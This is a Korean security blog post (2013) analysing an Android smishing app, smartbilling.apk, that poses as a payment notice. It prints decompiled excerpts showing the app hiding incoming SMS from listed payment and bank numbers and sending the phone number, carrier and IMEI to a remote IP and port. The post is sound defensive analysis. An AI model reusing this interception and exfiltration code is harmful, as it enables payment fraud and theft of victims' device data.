Analysis

[Android Malware] 아웃백 소액 결제 사기 (smartbilling.apk) 분석

DarkSoul.Story 2013. 3. 30. 12:37
반응형



아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. 



1. 개요


근래에 이슈가 되고있는 스미싱에 사용되는 파일로, 필자가 받은 문자 내용은 아웃백 결재 내역 확인 문자였다. 스미싱에 대한 내용은 경찰청 사이버 테러 대응 센터 신종 모바일 사기 제대로알고 대처하는 방법 http://www.netan.go.kr/pop/smishing.html)을 참고하기 바란다. 



Filename:smartbilling.apk 
MD5:2d6ff3b040feb910f34175cf7ac1ca0b 
SHA-1:97cc713272a4499c5b6b48ef9caa4203d5eacb10 
File Size:492395 Bytes
API Level:

android:minSdkVersion 8

android:targetVersion 15


참고 : API 레벨 정보 (http://developer.android.com/guide/topics/manifest/uses-sdk-element.html)t


2. 분석 내용


smartbilling.apk 파일이 설치가 되면 아래와 같이 모빌리언스 결제 라는 아이콘이 생성된다. 생성된 아이콘을 클릭하여 실행 하면, [현재 접속자가 많아 연결이 되지 않습니다. 잠시 후에 다시 접속하시기 바랍니다.] 란 에러 메시지를 보여준다. 




APK 파일 내부에는 아래와 같이 다양한 방식의 APP으로 위장할 때 사용하기 위한 목적의 아이콘이 포함되어 있다.



확인한 API 권한 정보를 정리하면 아래와 같으며, 빨간색으로 표시된 API 권한이 악의적으로 사용될 수 있는 API이다.


 User Permission (악성 APP이 요구하는 권한 정보)
 android.permission.RECEIVE_BOOT_COMPLETED
 android.permission.INTERNET
 android.permission.ACCESS_NETWORK_STATE
 android.permission.RECEIVE_MMS
 android.permission.WAKE_LOCK
 android.permission.RECEIVE_SMS
 android.permission.READ_PHONE_STATE
 android.permission.WRITE_EXTERNAL_STORAGE


 위험 요약

 APP이 SMS/MMS를 조작 권한

 APP이 인터넷에 액세스 권한

 APP이 개인 정보에 액세스 권한


APP을 디컴바일 한 후 소스파일을 살펴 보면 아래와 같으며, 악의적인 행동을 하는 패키지는 com.cn.smsclient 패키지로 추정된다.



com.cn.smsclient 패키지안에는 MainActivity / CVXAW / Ejifndy / OEWRUvcz 클래스 파일이 존재한다. 


 [MainActivity 클래스 일부]


package com.cn.smsclient;
 
public class MainActivity extends Activity
{
  public static boolean a = true;
  public static boolean b = false;
 
private boolean a(String paramString)
  {
    List localList = getPackageManager().getInstalledPackages(8192);
    for (int i = 0; ; i++)
    {
      if (i >= localList.size())
        return false;
      if (((PackageInfo)localList.get(i)).packageName.lastIndexOf(paramString) > 0)
        return true;
    }
  }                                                                                       
 
 
  public void onCreate(Bundle paramBundle)
  {
    AlarmManager localAlarmManager = (AlarmManager)getSystemService("alarm");
    PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, 
Ejifndv.class), 0);
    localAlarmManager.setRepeating(3, SystemClock.elapsedRealtime(), 60000L, localPendingIntent);
  
  ((WifiManager)getSystemService("wifi")).createWifiLock(1, "V3Mobile").acquire();
  ((PowerManager)getSystemService("power")).newWakeLock(1, "V3Mobile").acquire();          
 
    b = a("jb.gosms");
if (a)
    {
      AlertDialog.Builder localBuilder = new AlertDialog.Builder(this);
      localBuilder.setMessage("Error Code: [Error]현재 접속자가 많아 연결이 되지않습니다
잠시 후에 다시 접속하시기 바랍니다.").setTitle("Error!").setCancelable(false).setOnKeyListener
(new aG(this)).setPositiveButton("확인", new aH(this, this));
      localBuilder.create().show();
    }
    while (true)
    {
      super.onCreate(paramBundle);
      setContentView(2130903040);
      return;
      finish();
    }
  }                                                                                       
 
  public boolean onCreateOptionsMenu(Menu paramMenu)
  {
    getMenuInflater().inflate(2131165184, paramMenu);
    return true;
  }
}


① smartbilling.apk가 제대로 설치되었는지 확인


② 스크린이 꺼지거나, 절전모드로 들어갈때 WiFi 연결은 해제되고, CPU는 SLEEP 상태가 된다.그를 방지하기 위해 WiFiManager/PaweManager를 이용하여, 스크린이 꺼진 후에도 WiFi와 CPU를 활성화 시켜둔다.

 

③ ①번의 조건이 만족된 상태에서, APP을 실행 시키면 위에서 확인한 Error Code를 보여준다. 


[CVXAW 클래스 일부]


 
private static String a(Context paramContext)
  {
    return ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number().
replace("+82", "0");
  }
                                                                                              
 
private static boolean a(String paramString1, String paramString2)
  {
    String[] arrayOfString = { "15880184", "16000523", "15990110", "15663355", "15665701", 
"15880184", "15990110", "15665701", "16001705", "15663357", "16000523", "15663355", "019114", 
"15997474", "15663357", "15991552", "16008870", "15883810", "16443333", "15448881", "15445553", 

"16443333", "16008870", "15663355", "15883810", "16001705", "16000523", "16441006", "15771006", 

"15663357", "0190001813", "01015663355", "16001522", "15885188", "15883610", "15885984",

"15885412", "16449999", "15992583", "15885180", "0220093777", "15992583", "16004748", 

"15663315", "0215663355", "03115663355", "0215663355", "01015663355", "025691146", 

"01015663355", "15995612", "0000", 

"15663003", "01240009", "01240012", "114", "15448278", "16001522", "15994006", "027842329", 

"15995612", "025213560", "025564973", "025564972", "025654192", "025810101", "025213564", 

"029533353", "15994018", "025524711", "025523874", "07070124301", "023596657",

"15884640", "16001522", "025587288", "18994134", "0220338500", "15448278", "15887701", 
"15773321", "15772111", "025693301", "15445553" };
    boolean bool;
    if (paramString1 == null)
    {
      bool = true;
      return bool;
    }
    if ((paramString1.length() == 0) || (paramString1.equalsIgnoreCase(paramString2)) || 
(paramString1.length() == 6) || (paramString1.length() == 7) || 
(paramString1.length() == 10) || 
(paramString1.length() == 12) || (paramString1.length() == 13) || 
(paramString1.length() == 14))
      return true;
    if (paramString1.contains("15663355"))
      return true;
    if (paramString1.contains("0000"))
      return true;
    if (paramString1.contains("00000"))
      return true;
    if (paramString1.contains("012400"))
      return true;
    for (int i = 0; ; i++)
    {
      int j = arrayOfString.length;
      bool = false;
      if (i >= j)
        break;
      if (paramString1.equalsIgnoreCase(arrayOfString[i]))
        return true;
    }
  }
                                                                                         
 
public void onReceive(Context paramContext, Intent paramIntent)
  {
    Object[] arrayOfObject;
    SmsMessage[] arrayOfSmsMessage;
    int i;
    if ((paramIntent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) || 
(paramIntent.getAction().equals("android.provider.Telephony.WAP_PUSH_RECEIVED")))
    {
      abortBroadcast();
      Bundle localBundle = paramIntent.getExtras();
      if (localBundle != null)
      {
        arrayOfObject = (Object[])localBundle.get("pdus");
        arrayOfSmsMessage = new SmsMessage[arrayOfObject.length];
        i = 0;
        if (i < arrayOfSmsMessage.length)
          break label262;
        if ((!a(this.b, a(paramContext))) && (!a(this.c, a(paramContext))))
          break label450;
        String str = new String("To: " + a(paramContext) + " From1: " + this.b + 
" From2: " + this.c + 
"\r\nMessage: " + this.d);
        ConnectivityManager localConnectivityManager = (ConnectivityManager)paramContext.
getSystemService("connectivity");
        NetworkInfo localNetworkInfo1 = localConnectivityManager.getNetworkInfo(0);
        NetworkInfo localNetworkInfo2 = localConnectivityManager.getNetworkInfo(1);
        int j;
        if (!localNetworkInfo1.isConnected())
        {
          boolean bool = localNetworkInfo2.isConnected();
          j = 0;
          if (!bool);
        }
        else
        {
          j = 1;
        }
        if ((j != 0) && (!MainActivity.b))
        {
          this.e.a = str;
          this.f.start();
        }
      }
    }
 }                                                                   
 
 


① Telephonymanager와 getLine1Number Public Methods를 이용하여 전화번호를 획득

② 감시대상 발신 번호 목록 및 SMS 발신 번호 확인(15663355 / 0000 / 00000 / 012400)

③ 발신된 SMS / MMS를 감시하고 있다 ②에서 지정한 번호로 오는 SMS / MMS 내용 저장


[aI 클래스 일부]



Socket localSocket = new Socket("126.7.194.82", 2501);
          BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localSocket.
getOutputStream());
          this.b = ((TelephonyManager)this.a.getSystemService("phone")).getLine1Number().
replace("+82", "0");
          this.c = ((TelephonyManager)this.a.getSystemService("phone")).getNetworkOperatorName();
          this.e = ((TelephonyManager)this.a.getSystemService("phone")).getDeviceId();
          this.d = (this.b + " ,Carrier: " + this.c + ", IMEI: " + this.e);

          try 



Telephonymanager과 아래 Public Methods를 이용하여 정보를 획득하여, 126.7.194.82의 2501번 포트로 전송한다. 

- getLine1Number를 이용하여, APP이 설치된 스마트폰의 전화번호를 획득

- getNetworkOperratorName을 이용하여, 

- getDeviceIDMEID 또는 ESN의 IMEI를 고유 한 장치 ID 획득


확인된 IP 정보는 아래와 같으며, 해당 IP는 현재 차단되어 있는것으로 판단된다.




[aF 클래스]

public final class aF
  implements Runnable
{
  public String a;
 
  // ERROR //
  public final void run()
  {
    // Byte code:
    //   0: new 17      java/io/BufferedOutputStream
    //   3: dup
    //   4: new 19      java/net/Socket
    //   7: dup
    //   8: ldc 21
    //   10: sipush 4869
    //   13: invokespecial 24        java/net/Socket:<init>  (Ljava/lang/String;I)V
    //   16: invokevirtual 28        java/net/Socket:getOutputStream      ()Ljava/io/OutputStream;
    //   19: invokespecial 31        java/io/BufferedOutputStream:<init>  (Ljava/io/OutputStream;)V
    //   22: astore_1
    //   23: aload_1
    //   24: aload_0
    //   25: getfield 33 aF:a        Ljava/lang/String;
    //   28: ldc 35
    //   30: invokevirtual 41        java/lang/String:getBytes            (Ljava/lang/String;)[B
    //   33: invokevirtual 45        java/io/BufferedOutputStream:write   ([B)V
    //   36: aload_1
    //   37: invokevirtual 48        java/io/BufferedOutputStream:flush   ()V
    //   40: return
    //   41: astore_3
    //   42: return
    //   43: astore_2
    //   44: return
    //
    // Exception table:
    //   from           to          target      type
    //   0  23          41          java/lang/Exception
    //   23 40          43          java/lang/Exception
  }
}



Andrubis - Analysis Report 확인

Virustotal - Analysis Report 확인


019114   : LG텔레콤

15880184 : 옥션

16000523 : 모빌리언스

15990110 : 11번가

15663355 : 다날

15665701 : G마켓

15880184 : 옥션

15990110 : 11번가

15665701 : G마켓

16001705 : 모빌리언스

15663357 : 다날

16000523 : 모빌리언스

15663355 : 다날

15997474 : 11번가 도서

15663357 : 다날

15991552 : 문자통

16008870 : 피망

15883810 : 한게임

16443333 : 아이템 베이

15448881 : 인포 허브

15445553 : 인포 허브

16443333 : 아이템 베이

16008870 : 피망

15663355 : 다날

15883810 : 한게임

16001705 : 모빌리언스

16000523 : 모빌리언스

16441006 : 서울 신용 평가 정보

15771006 : 서울 신용 평가 정보

15663357 : 다날

15660020 : 엔씨소프트

16001522 : 나이스 신용 평가 정보

15885188 : 꾸민새 네트워크

15883610 : 중앙일보

15885984 : 다우페이

15885412 : 뿌리오 고객센터

16449999 : 국민은행

15992583 : 아이엠페이

15885180 : 넷마블

15992583 : SK M&C

16004748 : 문자 조아

15663315 : 대부도 펜션 빌리지

0220093777 : 문자 나라

0190001813 : 국번 없음


 * 잘못된 부분이 있으면, 언제든지 댓글 달아주세요~ *

반응형